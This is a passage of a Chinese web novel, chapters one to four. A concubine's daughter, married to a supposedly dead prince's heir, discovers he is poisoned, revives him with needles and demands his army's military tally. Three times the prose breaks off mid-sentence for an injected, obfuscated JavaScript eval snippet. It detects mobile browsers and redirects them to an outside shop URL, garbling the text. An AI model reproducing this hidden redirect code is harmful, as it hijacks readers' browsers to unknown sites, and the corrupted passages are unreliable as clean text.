《凤袍要加身》 第1章 冲喜庶女 隆冬的风,像淬了冰的刀子,在镇北王府的朱漆大门外呼啸盘旋,卷起一天一地狂乱的雪霰。那雪下得疯了,一层层堆积在房檐、庭树、石阶上,将这雕梁画栋的王府硬生生裹进一片死寂的苍白里。 然而这白,却衬得府内那一片刺目的红,愈发惊心动魄,也愈发凄凉诡异。 本该是张灯结彩、喜气盈门的喜堂,此刻触目所及,却尽是惨白的丧幡。巨大的“囍”字红绸尚未撤下,被粗暴地撕扯开半边,无力地垂落,另一半则歪歪扭扭地覆盖在中央那口冰冷的黑檀木棺材之上。红绸与白幡交缠、撕扯,在穿堂而过的穿堂风中簌簌抖动,如同垂死者最后的痉挛。 喜案上,龙凤红烛兀自燃烧,烛泪堆叠,红得像是凝固的血。烛光跳跃,将棺材投下的巨大阴影拉得忽长忽短,扭曲变形,笼罩着整个厅堂,也笼罩着堂下寥寥几个身影。 空气里弥漫着一种古怪的混合气味——浓郁的线香试图掩盖一切,却压不住那若有似无、丝丝缕缕的阴沉木料气息,还有一股更淡、更冰冷、属于死亡本身的空洞味道。 谢凤卿就站在那片红白交织的阴影中央。 她身上那件粗糙赶制的劣质嫁衣,红得俗艳而单薄,在这冰窟窿般的灵堂里,根本挡不住一丝寒意。风从四面八方钻进来,针一样刺着她裸露的脖颈和手腕。她低垂着头,长长的眼睫在苍白的脸颊上投下两片小小的阴影,遮住了眼底所有的波澜。只有那双藏在宽大袖袍里的手,指尖无意识地、极其轻微地捻动着袖口内衬的某处——那里,有三枚冰冷坚硬的东西贴身藏着。 她的怀里,被迫抱着一只垂头丧气、羽毛凌乱的大公鸡。那鸡似乎也感受到了这彻骨的阴森,喉咙里偶尔发出几声短促、低哑的“咕噜”声,翅膀不安地挣动一下,又被她纤细却异常稳定的手臂死死按住。 “吉时已到——” 一个脸上扑了厚厚**的喜娘,声音干涩得像被砂纸打磨过,在这死寂的灵堂里突兀地响起,带着一种强行挤出来的喜庆腔调,尾音却在棺材投下的巨大阴影里微微发颤。她偷眼瞥了一下那口黑沉沉的棺材,又飞快地移开目光,不敢再看。 “新人——拜天地咯——!” 那声调尖利,如同指甲刮过琉璃,狠狠撕破了灵堂里凝滞的死寂。四周侍立的寥寥几个王府仆役,全都深深埋着头,恨不得把自己缩进地缝里。只有几个须发皆白、神情肃穆的老太医,远远站在角落,偶尔交换一个凝重又带着几分探究的眼神,目光落在棺材和新娘之间,意味不明。 “一拜——天地——!” 喜娘几乎是闭着眼喊出来的。 谢凤卿抱着那只徒劳蹬腿的公鸡,僵硬地弯下腰。劣质嫁衣粗糙的布料摩擦着皮肤,带来一阵细微的刺痛。冰冷的寒气顺着脊椎往上爬。她的额头几乎要触到冰冷的地砖,视线垂落处,是地砖缝隙里积着的、未被扫尽的薄雪。 “二拜——高堂——!” 她再次弯下腰。怀里的公鸡受惊,猛地一挣,几片暗红的羽毛飘落下来,悠悠荡荡,落在她绣着劣质缠枝莲纹的鞋面上。她眼角的余光瞥见高堂主位上空悬着的镇北王夫妇画像。画像上威严的夫妇,此刻在烛火摇曳下,眼神空洞地俯视着这场荒诞的闹剧。 就在她直起身的瞬间,一个刻意拔高的、带着浓重优越感和毫不掩饰恶意的声音,像淬了毒的冰凌,精准地刺向她。 “哟,我的好妹妹,这头磕得,可真是诚心诚意啊。” 谢凤卿缓缓抬起眼。 人群外围,谢云姝被几个丫鬟簇拥着,裹在一件名贵的雪貂斗篷里。斗篷的纯白衬得她一张精心描画过的脸更是明艳照人,朱唇微勾,眼底却淬着寒冰,毫无暖意。她往前走了两步,姿态优雅,像是来赴一场赏雪的诗会,而非置身这阴森灵堂。 “能给世子爷冲喜,那可是天大的福气,”谢云姝的声音不大,却足以让灵堂里的每一个人都听得清清楚楚。她目光扫过那口黑沉沉的棺材,又落回谢凤卿身上,带着一种居高临下的怜悯和一丝不易察觉的、扭曲的快意,“虽说……世子爷这会儿怕是听不见了。不过没关系,你命贱,正好用你这一身卑贱的骨头,给世子爷垫垫脚,暖暖黄泉路。他若有灵,也该念着你这份‘情意’呢。” 每一个字,都像带着倒刺的鞭子,狠狠抽在空气里。 周围的仆役头垂得更低了。角落里的太医们眉头皱得更紧,却无人出声。 谢凤卿只是静静地看着她。脸上没有任何表情,没有愤怒,没有**,甚至连一丝涟漪都没有。那目光平静得如同一潭深不见底的古井,映着谢云姝那张艳丽却刻薄的脸,仿佛在看一件与自己毫不相干的器物。唯有袖中捻动的指尖,频率似乎快了一丝。 这死水般的平静,像是一拳打进了棉花里,让谢云姝眼底的恶意更加汹涌。她正欲再开口,一个苍老、疲惫却带着不容置疑威严的声音插了进来。 “够了。” 王府的老管家赵伯,不知何时已走到近前。他身形佝偻,穿着深青色的管事服,脸上沟壑纵横,写满了哀戚和沉重。他看也没看谢云姝,浑浊却锐利的眼睛只盯着谢凤卿和她怀里的公鸡,声音低沉喑哑,却像重锤敲在人心上: “礼已成。请世子妃,移步‘洞房’。莫误了时辰……世子爷的魂儿,就真的回不来了。”最后几个字,他说得异常缓慢,每一个音节都带着沉甸甸的、不祥的意味,目光沉沉地压向谢凤卿,“误了时辰,魂走不回头,这冲喜不成反招祸的罪名……你担待不起。” “洞房”二字,从他干瘪的嘴唇里吐出,带着一种令人毛骨悚然的讽刺。 谢云姝脸上那虚假的笑容终于彻底绽开,如同淬毒的**花。她甚至微微抬了抬下巴,眼神里是赤裸裸的得意和催促——去吧,我可怜的庶妹,去拥抱你那口上好的楠木“洞房”吧。 谢凤卿抱着公鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545974|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指,在无人可见的袖笼深处,微微蜷缩了一下。她没有再看任何人,只是顺从地、沉默地,抱着那只徒劳挣扎的公鸡,在赵伯沉默而沉重的引领下,在谢云姝淬毒的目光和几个仆役无声的注视中,一步步,走向那扇通往“洞房”的、被白幡半掩着的侧门。 侧门在她身后吱呀一声关上,隔绝了前厅那混合着线香、死亡和恶意的人气。 一股更浓、更纯粹的阴冷气息扑面而来,混杂着陈年木料和药材的沉闷气味,几乎瞬间就渗进了骨头缝里。这里,比前厅更像一个巨大的冰窖。所谓的“洞房”,不过是将原本的灵堂偏厅临时布置了一下。 触目所及,依旧是惨白一片。白幡、白烛、白帷幔。唯一不同的,是正中央,一口巨大的、黑沉沉的棺材取代了本该有的喜床。棺盖并未完全合拢,留着一道半尺宽的缝隙,如同巨兽微张的、择人而噬的口。几盏惨白的灯笼挂在四角,烛火在穿堂风中剧烈地摇晃,将棺材投下的阴影拉得扭曲变形,如同无数只挣扎的手。 怀里的公鸡似乎预感到了极致的危险,发出一声凄厉的尖啼,猛地挣脱了谢凤卿的手,扑棱着翅膀,撞向冰冷的墙壁,又被弹回地面,徒劳地挣扎着,羽毛纷飞。 谢凤卿看也没看那惊惶的畜生。她的目光,如同被磁石吸引,牢牢地钉在那口黑沉沉的棺材上。那巨大的、象征着终结的物体,此刻却像一个充满未知的谜题。灵堂前厅里的柔弱、顺从、死水般的平静,如同潮水般从她脸上褪去。 她缓缓抬起手,指尖微动,宽大的袖口悄然滑落一小截。烛光摇曳下,一点冰冷的银芒在她指间一闪而逝。三枚细如牛毛的银针,不知何时已夹在她纤细的指尖,针尖流转着幽微的光泽。 她盯着那棺木缝隙后的黑暗,唇角极其细微地向上牵动了一下,一个冰冷无声的念头在心底清晰浮现: ‘要我守寡?可以。’ ‘但得先让我看看,棺材里躺着的这位短命鬼世子,到底值不值得我救。’ 念头落定,她迈开步子,走向那口象征着终结的巨棺。脚步无声,踏在冰冷的地砖上,裙裾拂过地面细微的尘埃,像一道沉默的影子,融入了那片浓郁得化不开的黑暗边缘。 棺材是上好的黑檀木,沉重冰冷,触手生寒。谢凤卿站在棺侧,垂眸望去。缝隙透出的光线有限,只能勉强勾勒出里面躺着的人形轮廓。一身华贵的亲王世子**袍,金线绣制的云龙纹在昏暗中依旧能窥见一丝黯淡的华彩。一张极其年轻、却毫无生气的脸,在阴影中若隐若现。剑眉斜飞入鬓,鼻梁挺直,唇线紧抿,即使毫无血色,也难掩其深邃的轮廓,依稀可见昔日风采。只是此刻,那皮肤是死寂的青白,眼睑紧闭,胸膛没有丝毫起伏。 一个念头倏然掠过谢凤卿的脑海:可惜了这副好皮囊。 她伸出左手,动作自然得像是要去整理亡者的遗容。指尖,悄然搭上了棺内青年冰冷的手腕寸关尺处。 第2章 七日断魂散 触手一片刺骨的冰凉,如同摸到了隆冬的寒铁。肌肤之下,死寂一片,没有任何脉搏的跳动。彻彻底底的死脉。 然而,谢凤卿的指尖却极其轻微地动了一下。那冰凉的触感深处,似乎隐藏着一丝极其微弱、几乎无法察觉的……异样滞涩?像是一条被彻底冻僵、濒临断绝的溪流,在坚冰的最底层,还残留着一缕极其微渺的、属于生机的粘稠感。这感觉细微到若非她指尖那异于常人的敏锐感知力,几乎会被忽略。 她的眉尖,几不可察地蹙了一下。不是纯粹的死亡? 几乎是同一瞬间,她搭在棺沿上的右手动了。宽大的袖口再次无声滑落一小截,借着衣袖的遮掩,一枚细如牛毛的银针,如同拥有生命般,悄无声息地滑入她的指间。针尖对准了棺内青年手背上一个极不起眼的穴位——阳池穴。此穴主通调三焦,刺激此穴,若人真有极其微弱的一线生机,身体必有微不可查的反应。若无,则如石沉大海。 针尖悬停,蓄势待发。 她屏住呼吸,全部的感知力都凝聚在指尖那一点银芒之上,等待着那可能存在的、决定性的反馈。 就在这千钧一发之际—— “世子妃,”一个苍老的声音突兀地在门口响起,带着一丝不易察觉的催促,“老奴赵伯。按规矩,您该为世子爷净身更衣了,好让他……清清静静地上路。” 赵伯不知何时已无声无息地站在了门口,手中端着一个铜盆,里面盛着温水,搭着一条素白的布巾。他的身影佝偻在门口惨白的灯光下,浑浊的眼睛在谢凤卿身上和那口棺材之间扫了一眼,眼神复杂难辨。 谢凤卿指尖的银针瞬间消失无踪,如同从未出现过。她搭在棺内青年手腕上的左手也若无其事地收了回来,拢回袖中。脸上迅速恢复了那种低眉顺眼的麻木和平静,仿佛刚才那瞬间的凝神试探只是错觉。 她转过身,对着赵伯微微颔首,声音低柔顺从:“有劳赵伯。”说着,便伸手去接那铜盆。 赵伯将盆递给她,目光在她脸上停留了一瞬,似乎想从那平静无波的眸子里看出些什么,最终只是低低叹了口气:“世子爷……就托付给世子妃了。老奴……在外守着。”说完,他深深地看了一眼那口棺材,眼中悲色更浓,然后默默退了出去,轻轻带上了门。 门扉合拢的轻响之后,偏厅里只剩下烛火燃烧的细微哔剥声,和那只缩在墙角偶尔发出低低咕噜声的公鸡。 谢凤卿端着温热的铜盆,走到棺边。她没有立刻动手,只是静静地看着棺中那张年轻却死寂的脸。方才那丝微妙的滞涩感,像一枚投入死水的小石子,在她心底漾开一圈圈涟漪。赵伯的打断,更添了几分疑云。她需要更近的观察。 她将铜盆放在一旁的矮几上,拿起那条素白的布巾,浸入温水中。水汽氤氲,带来一丝微弱的热意,很快又被周围的阴冷吞噬。她拧干布巾,俯下身,靠近棺口。 距离拉近,棺中人面容的细节在昏暗光线下清晰了些许。那毫无血色的皮肤下,眼睑闭合处,似乎有一丝极其细微的、不自然的紧绷?像是极力压抑着什么。 谢凤卿的动作没有丝毫停顿,像是完全遵循着为亡者净身的规矩。她拿着温热的布巾,轻柔地覆上棺中青年冰冷的脸颊,沿着那挺直的鼻梁、紧抿的薄唇、瘦削的下颌,缓缓擦拭。动作专注而细致,仿佛在进行一项无比神圣的仪式。 布巾擦过他的脖颈,温热的水汽短暂地驱散了一小片寒意。她的指尖,借着布巾的掩护,极其隐蔽地划过他颈侧的动脉位置——冰凉,死寂。一切似乎都印证着死亡的宣告。 她的动作继续向下,擦拭着他被**袍覆盖的胸膛。隔着厚实的衣料,依旧能感受到那衣料下躯体的僵硬和冰冷。她的指尖状似无意地按压了一下心口的位置——同样,一片沉寂。 就在她的指尖离开心口,布巾拂过腰腹位置的瞬间—— 异变陡生! 一只冰冷如同玄铁铸成的手,快如鬼魅,毫无征兆地从棺中暴起!带着凌厉的劲风,五指如钢钩,带着足以捏碎喉骨的可怕力量,精准无比地扼住了谢凤卿纤细的脖颈! 巨大的力量瞬间将她整个人狠狠掼向坚硬的棺壁!后背撞上冰冷的黑檀木,发出沉闷的撞击声,剧痛沿着脊椎炸开。 谢凤卿闷哼一声,眼前一黑,几乎窒息。 下一瞬,她对上了一双眼睛。 棺中那双原本紧闭的眸子,此刻已然睁开! 深不见底,如同两口凝固了万年寒冰的古井,没有丝毫属于活人的温度。只有冰冷的审视、浓烈到化不开的杀意,以及一种仿佛来自九幽之下的、洞穿一切的锐利锋芒。那目光如同实质的冰锥,狠狠刺穿了她故作柔弱的外壳,直抵灵魂深处。 低沉、沙哑、如同砂砾摩擦的声音,带着毫不掩饰的死亡气息,从那张紧抿的薄唇中挤出,每一个字都像淬了毒的冰针: “谁……派……你……来……的?” 冰冷的铁指死死扼住咽喉,巨大的力量挤压着气管,空气被瞬间剥夺。谢凤卿眼前阵阵发黑,后背撞击棺壁的剧痛还在蔓延。 然而,那双被迫与棺中人对视的眸子里,最初的惊骇如同投入深潭的石子,只激起了极其短暂的涟漪,转瞬便被一种更为深沉、更为冰冷的沉静所取代。没有尖叫,没有挣扎,甚至连一丝寻常女子该有的恐惧泪光都没有。 就在这电光火石之间,在男人冰冷审视的杀意目光下,她的右手动了! 宽大的嫁衣袖袍猛地向上一拂,如同红云乍起,短暂地遮蔽了扼在她喉间的那只铁手。袖袍翻飞之下,一点银芒快得超越了视觉的极限,精准地刺入男人手臂内侧一处极其隐秘的穴位——极泉穴! 这穴位,主控手臂气血运行,更是连接心脉的关键枢纽之一! 银针入体,细如牛毛,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545975|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的却是瞬间的麻痹! “呃!” 扼住她喉咙的铁指,那足以捏碎骨头的力量,如同被无形的冰封瞬间冻结。力量骤然消散,只余下僵硬冰冷的触感还停留在她的皮肤上。 谢凤卿的身体如同柔软的柳条,顺着棺壁滑下,脱离了致命的钳制。她踉跄一步站稳,单手捂着脖颈,急促地咳嗽了两声,脸上因窒息而泛起的红潮尚未褪尽,眼神却已锐利如刀锋,直直射向棺中那双杀意未消、却因瞬间麻痹而掠过一丝错愕的寒眸。 她微微喘息着,声音压得极低,如同耳语,却带着一种不容置疑的穿透力,清晰地传入棺中人耳中: “世子殿下,”她的唇角勾起一个极淡、近乎冷酷的弧度,“想活命……就乖乖跟我拜堂。” 空气仿佛凝固了。 摇曳的惨白烛光下,黑沉沉的棺材如同巨大的舞台。棺外,一身劣质红嫁衣的少女,身形单薄,脖颈上还残留着刺目的青紫指痕,眼神却亮得惊人,带着一种洞穿一切的冷静和近乎狂妄的掌控力。 棺内,**袍加身的年轻世子,半边身体因那枚诡异的银针而陷入僵麻,动弹不得。那双深不见底的寒眸里,翻涌着惊涛骇浪——惊疑、审视、杀机、以及一丝被彻底冒犯的震怒。他死死盯着眼前这个看似柔弱、却能在生死一线间反手制住他的少女,仿佛第一次真正看清她的模样。 无声的较量在两人之间激烈碰撞。 “呵。”一声极低的、带着血腥气的嗤笑从男人紧抿的唇缝中逸出。他试图活动那只**手臂,肌肉绷紧,青筋在苍白的皮肤下微微贲起,却依旧无法完全驱散那诡异的僵滞感。 “拜堂?”他的声音比刚才更哑,像是被粗粝的砂纸磨过,每一个字都透着刻骨的冰寒和嘲弄,“你可知……擅动本世子,是何下场?”杀意再次凝聚,如同实质的冰霜弥漫开来。 “下场?”谢凤卿微微歪了歪头,眼神平静得可怕,仿佛在讨论一件微不足道的小事,“无非是殿下毒发身亡,我落个克死新婚夫婿、被王府挫骨扬灰的结局?或者……殿下现在就捏死我,然后继续躺在这冰冷的棺材里,等着那‘七日断魂散’彻底蚀穿你的心脉,化为一滩腐水?” “七日断魂散”五个字,如同五记重锤,狠狠砸在棺中人的耳膜上! 他瞳孔骤然收缩成针尖大小,那深潭般的眼底第一次掀起了无法掩饰的惊涛骇浪!看向谢凤卿的目光,不再是单纯的审视和杀意,而是带上了难以置信的震骇。这毒名,是绝密!她……她如何得知?! 就在他心神剧震的刹那—— “噗!” 一口暗紫色的、粘稠得如同淤积腐血般的液体,毫无预兆地从他口中狂喷而出!那血的颜色太过诡异,紫得发黑,带着一股浓烈到令人作呕的腥甜气息,瞬间溅洒在他苍白的下颌、**袍的前襟,甚至有几滴溅到了棺沿和谢凤卿的袖口。 第3章 世子殿下这条命—姓谢 剧烈的咳嗽如同破败的风箱在他胸腔里拉扯,每一次抽动都让他僵麻的身体痛苦地痉挛。那暗紫色的血沫不断从他唇边涌出,将他那张俊美却死寂的脸染上一种妖异而凄厉的色彩。 谢凤卿的眉头猛地蹙紧。 在那浓烈腥甜的血气扑面而来的瞬间,她的鼻翼极其细微地翕动了一下。那味道……不仅仅是血腥!混杂着一种极其隐晦的、如同**甜杏仁般的苦涩,还有一种阴冷的、如同深埋地底多年棺木的气息! 这味道……她太熟悉了!在师傅那些布满灰尘、记载着世间奇毒异药的古老羊皮卷上,曾无数次嗅到过这混合着死亡与剧毒的气息! 她瞳孔深处骤然掠过一道冰冷的锐芒,如同寒夜流星。 没有丝毫犹豫,她猛地向前一步,不顾那溅落的污血,俯身靠近棺口。纤细的手指快如闪电,在男人沾满暗紫血污的唇边极其迅速地一抹,指尖沾上一点粘稠的液体。 指尖凑近鼻端。 那股混合了**甜杏仁与阴冷棺木的独特腥甜气息,更加清晰地钻入鼻腔,如同毒蛇的信子,冰冷地舔舐过她的神经末梢。 “七日断魂散……”谢凤卿的声音压得极低,却带着一种斩钉截铁的冰冷确认,每一个字都像冰珠砸落玉盘,“果然是它。” 她的目光猛地抬起,再次对上棺中男人那双因剧痛和毒发而布满血丝、却依旧锐利如鹰隼的眼睛。那眼神里,混杂着极致的痛苦、濒死的灰败,以及一种被彻底看穿隐秘后的、近乎野兽般的凶戾与孤注一掷。 时间仿佛被这浓烈的血腥和诡异的毒气冻结。 谢凤卿的脊背挺得笔直,站在巨大的黑檀木棺旁,一身劣红嫁衣在惨白烛光下如同浴血的寒梅。她沾染了暗紫毒血的指尖还悬在半空,目光却已穿透了眼前的痛苦与凶戾,直直刺入萧御那双翻涌着惊涛骇浪的眼底。 “好狠的手笔。”她再次开口,声音不高,却如同冰层下的暗流,带着一种掌控局面的冷静,“无色无味,入水即融,七日内,蚀心腐脉,断魂绝魄。发作时血呈暗紫,腥甜如腐杏……殿下,能撑到现在,骨头倒是够硬。” 萧御的呼吸粗重而破碎,每一次吸气都牵扯着胸腔里撕裂般的剧痛。暗紫的血沫依旧不断从他嘴角溢出,染污了华贵的**袍。身体被剧毒和那枚该死的银针带来的麻痹双重侵蚀,如同被无形的锁链捆缚在冰冷的棺木里。剧痛啃噬着他的神经,而那少女口中清晰吐出的每一个字,都像冰冷的针,精准地刺向他最深的秘密和此刻最致命的弱点。 他死死盯着她,那双深潭般的眸子里,凶戾、杀意、痛苦与一种濒临绝境的疯狂在激烈碰撞。喉咙里发出嗬嗬的、如同濒死野兽般的低喘,似乎在积蓄着最后一丝反扑的力量。 谢凤卿将他所有的挣扎和濒死的凶性尽收眼底。她没有后退,反而更近一步,身体微微前倾,阴影笼罩在棺口上方,挡住了摇曳的烛光,将萧御苍白的脸完全纳入自己的掌控之中。 她的声音压得更低,如同最隐秘的耳语,却带着斩钉截铁、不容置疑的穿透力,每一个字都清晰地凿进萧御混乱的意识: “听好了,世子殿下。” “第一笔交易,”她伸出沾血的食指,在冰冷的棺木边缘轻轻一点,留下一个暗紫的印记,“我救你。解这‘七日断魂’。” “第二笔,”她的目光骤然变得无比锐利,如同出鞘的寒刃,直刺萧御眼底,“我要镇北王府的兵符。” 话音落下的瞬间,不等萧御有任何反应——无论是震惊、暴怒还是垂死的挣扎——谢凤卿猛地直起身! “哗啦——!” 一声刺耳的锐响撕裂了灵堂的死寂! 她双手抓住那沉重无比的黑檀木棺盖边缘,纤细的手臂爆发出令人难以置信的力量,猛地向一侧掀开!厚重的棺盖摩擦着棺椁,发出令人牙酸的巨响,被她硬生生推开一大半! 冰冷的空气瞬间涌入棺内,卷动着血腥与药味。 谢凤卿居高临下地站在敞开的棺椁旁,一身红嫁衣在惨白烛火和敞开的黑暗棺木映衬下,如同浴血重生的煞神。她的目光冰冷地锁定棺中因剧痛和骤然而来的光线刺激而微微眯起眼的萧御,清晰地吐出最后一句,如同烙印: “从今往后……” “世子殿下这条命——” 她的声音不大,却带着一种穿透生死、掌控命运的绝对力量,在空旷冰冷的灵堂里回荡,每一个字都敲打在听者的心尖: “姓谢。” “砰——!” 沉重无比的黑檀木棺盖被谢凤卿用尽全身力气猛地推回原位,发出一声震耳欲聋的巨响,如同惊雷炸裂在这死寂的灵堂偏厅!巨大的声浪卷起微尘,震得四角惨白的灯笼剧烈摇晃,烛火疯狂地明灭跳动,将满室人影和那口巨棺投下的阴影拉扯得如同群魔乱舞。 门外瞬间传来一阵压抑的骚动和脚步声——是守在外面的赵伯和仆役!显然是被这突如其来的巨响惊动。 谢凤卿根本无暇顾及门外。她的后背紧贴着冰冷厚重的棺盖,急促地喘息着,劣质嫁衣下的心脏在胸腔里狂跳如擂鼓,脖颈上那圈青紫的指痕火辣辣地疼。但她那双眼睛,却如同浸在寒潭中的黑曜石,死死盯着棺盖闭合处那条缝隙里透出的、几乎微不可查的黑暗。 她猛地俯身,嘴唇几乎贴在冰冷的棺木上,压得极低的声音带着不容置疑的穿透力,如同毒蛇吐信,狠狠钻入棺内: “世子殿下!”她的声音冰冷而急促,“外面的脚步声,您听见了?是继续躺在这里装**,等着他们闯进来看到您这副毒发吐血的尊容,然后被幕后黑手彻底补刀……还是赌一把,抓住我递给你的这根救命稻草,活下来?” 棺内一片死寂。只有浓重的血腥味和那**甜杏仁的苦涩毒气,如同实质般从缝隙里丝丝缕缕地渗出来。 几息之后,一个嘶哑得几乎不成调、如同砂砾在破锣上摩擦的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545976|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,带着浓重的血腥气,断断续续地挤了出来,每一个字都浸透了刻骨的阴鸷和濒死的虚弱: “凭……你……?”伴随着一声短促而痛苦的闷哼,似乎又有粘稠的暗紫血沫涌上喉咙,被他强行咽下,只余下唇边一抹刺目的紫黑。 “就凭我!”谢凤卿斩钉截铁,声音压得更低,却带着一种掌控生死的绝对自信,“我能叫出‘七日断魂散’的名字,就能解它的毒!现在,要么信我,要么等死!选!” 话音落下的瞬间,她双手猛地用力,再次将棺盖推开半尺宽的缝隙! 惨白的烛光再次涌入棺内,照亮了萧御那张因剧毒和剧痛而扭曲、遍布冷汗和暗紫血污的脸。他的呼吸急促破碎,胸膛剧烈起伏,每一次吸气都带着撕裂般的痛楚,深不见底的眸子里翻涌着濒死的灰败、刻骨的凶戾,以及一丝被逼入绝境、孤注一掷的疯狂。 谢凤卿不再多言。时间就是命! 她左手闪电般探入袖中,再抽出时,三枚细如牛毛的银针已夹在指间,针尖在烛火下流转着幽冷的寒芒。没有丝毫犹豫,她出手如电! 第一针,快如流星,精准无比地刺入萧御左手腕内侧神门穴!针入一寸三分,稳若磐石。萧御身体猛地一颤,左臂瞬间如同被冰封,麻痹感蔓延。 第二针,紧随其后,刺向他心口偏上、锁骨下方凹陷处的云门穴!这一针更深,带着一种奇异的旋转力道!萧御闷哼一声,额角青筋暴起,一股难以言喻的胀痛感瞬间在心脉附近炸开! 第三针,最为凶险!谢凤卿目光如炬,锁定他喉结下方、胸骨上窝正中的天突穴!这一针,直指生死要害! 就在针尖即将刺入皮肤的刹那,萧御那双布满血丝的眸子骤然睁开,凶戾的目光如同濒死的猛兽,死死锁住谢凤卿!仿佛只要她有一丝异动,便要同归于尽! 谢凤卿眼神没有丝毫波动,动作毫不停滞!针尖精准刺入天突穴!入肉三分,针尾轻颤! “呃啊——!” 一声压抑到极致的痛苦嘶吼从萧御喉中迸出!随着三针落下,他身体如同被无形的巨力强行扭转,猛地侧身! “噗——!” 一大口粘稠得如同腐泥、颜色暗紫得发黑的毒血,如同决堤般从他口中狂喷而出!不偏不倚,正正喷在谢凤卿早已放在棺口下方接应的一个白瓷空碗里! “滋啦……” 毒血落入碗中,竟发出轻微的腐蚀声响,碗壁上迅速泛起一层诡异的青黑色泡沫,散发出比之前浓郁十倍的**甜杏仁混合着阴冷棺木的腥臭气味! 谢凤卿的目光死死盯住那碗剧毒污血,眼神冰冷如霜。她并未立刻拔针,而是再次搭上萧御另一只手腕的寸关尺。 指下的脉搏,微弱、滞涩,如同即将干涸的溪流,但……它跳动了!不再是之前那彻头彻尾的死寂!虽然极其微弱,却顽强地在剧毒的泥沼中挣扎着,透出一丝属于生机的粘稠感! 成了! 第4章 想要强行开棺 她心中紧绷的弦微微一松,立刻拔出三枚银针。针尖离体,针尾赫然呈现出一种诡异的、如同淬了剧毒的靛青色泽,在烛光下幽幽泛着不祥的光! 谢凤卿看着那靛青的针尾,眼神愈发幽深冰冷。‘七日断魂散’!发作迅猛,潜伏期长,毒性霸道阴损,专蚀心脉,断人生机于无形。此毒绝非市井可得,能下在镇北王府世子身上……下毒之人,不仅要萧御死,恐怕,也根本没打算让她这个“冲喜”的庶女活着走出王府!她和她怀里那只公鸡一样,不过是这场死局中注定被碾碎的祭品! 念头电转,她迅速将沾满毒血的银针在袖口内侧特制的布料上擦拭干净,重新藏好。目光重新落回棺内。 萧御吐出那口毒血后,脸色依旧惨白如纸,但眉宇间那股死寂的青灰之气却褪去了些许。他急促的喘息渐渐平复了一些,胸口的剧痛似乎也缓和了几分。那双深不见底的眼眸,此刻正一瞬不瞬地、带着一种前所未有的审视和复杂难辨的情绪,死死盯在谢凤卿脸上。震惊、怀疑、一丝劫后余生的悸动,以及更深的探究和忌惮,在那寒潭般的眼底激烈翻涌。她……竟真的一针定住了他翻腾的气血,放出了致命的毒血!这绝非寻常医者手段! “如何?殿下现在信了?”谢凤卿迎着他的目光,声音恢复了那种冰冷的平静,仿佛刚才那生死一线的施针救人不过是拂去一点尘埃。 萧御的喉结艰难地滚动了一下,试图开口,却因虚弱和麻痹而声音嘶哑破碎:“你……” “我没时间听废话。”谢凤卿毫不客气地打断他,语速飞快,如同冰冷的算盘珠子在拨动,“交易继续。” 她伸出两根手指,在冰冷的棺木边缘清晰地点了两下: “第一,今夜,必须完成拜堂仪式。我要‘镇北王世子妃’这个名分,名正言顺地留在这里。”这是她立足王府、摆脱谢府钳制、探查自身谜团的第一步屏障。 “第二,”她的目光变得锐利如刀锋,直刺萧御眼底,“我要镇北王府的兵符!三日!三日之内,兵符由我全权调用!” “兵符?!”萧御瞳孔骤然收缩,即便虚弱,那深潭般的眼底也瞬间爆发出凌厉的寒芒和难以置信的审视,声音带着刻骨的冰寒与嘲弄,“呵……区区庶女,野心倒是不小!”王府兵符,掌北境数万铁骑,牵动朝野风云!她竟敢张口就要? “野心?”谢凤卿唇角勾起一个近乎冷酷的弧度,身体微微前倾,阴影再次笼罩住萧御惨白的脸,那双清冷的眸子离他极近,清晰地倒映出他此刻狼狈而虚弱的模样,“殿下,收起你那高高在上的质疑。我的野心,就是活下去,活得比那些想让我死的人更好!而你——” 她的声音陡然压低,如同毒蛇的嘶鸣,带着一种掌控生死的绝对力量: “想活过这七日断魂散的索命之期,想揪出背后捅刀子的内鬼,想保住你镇北王府的基业……除了信我,赌我这一把,你,别无选择!” “轰——!” 偏厅沉重的雕花木门,竟被一股蛮横的力量从外面猛地撞开!冷风裹挟着大片的雪沫瞬间灌入,吹得惨白的灯笼疯狂摇曳,烛火几乎熄灭! “圣旨到——!” 一个尖利、阴柔、带着不容置疑权威的嗓音刺破了灵堂的死寂! 门口,王府老管家赵伯和一个王府侍卫被粗暴地推搡开,踉跄着退到一旁,脸色煞白。取而代之的,是一群身着宫中禁卫服饰、气息肃杀的带刀侍卫,他们簇拥着一个身着深紫色锦袍、面白无须、眼神阴鸷如鹰的中年宦官。 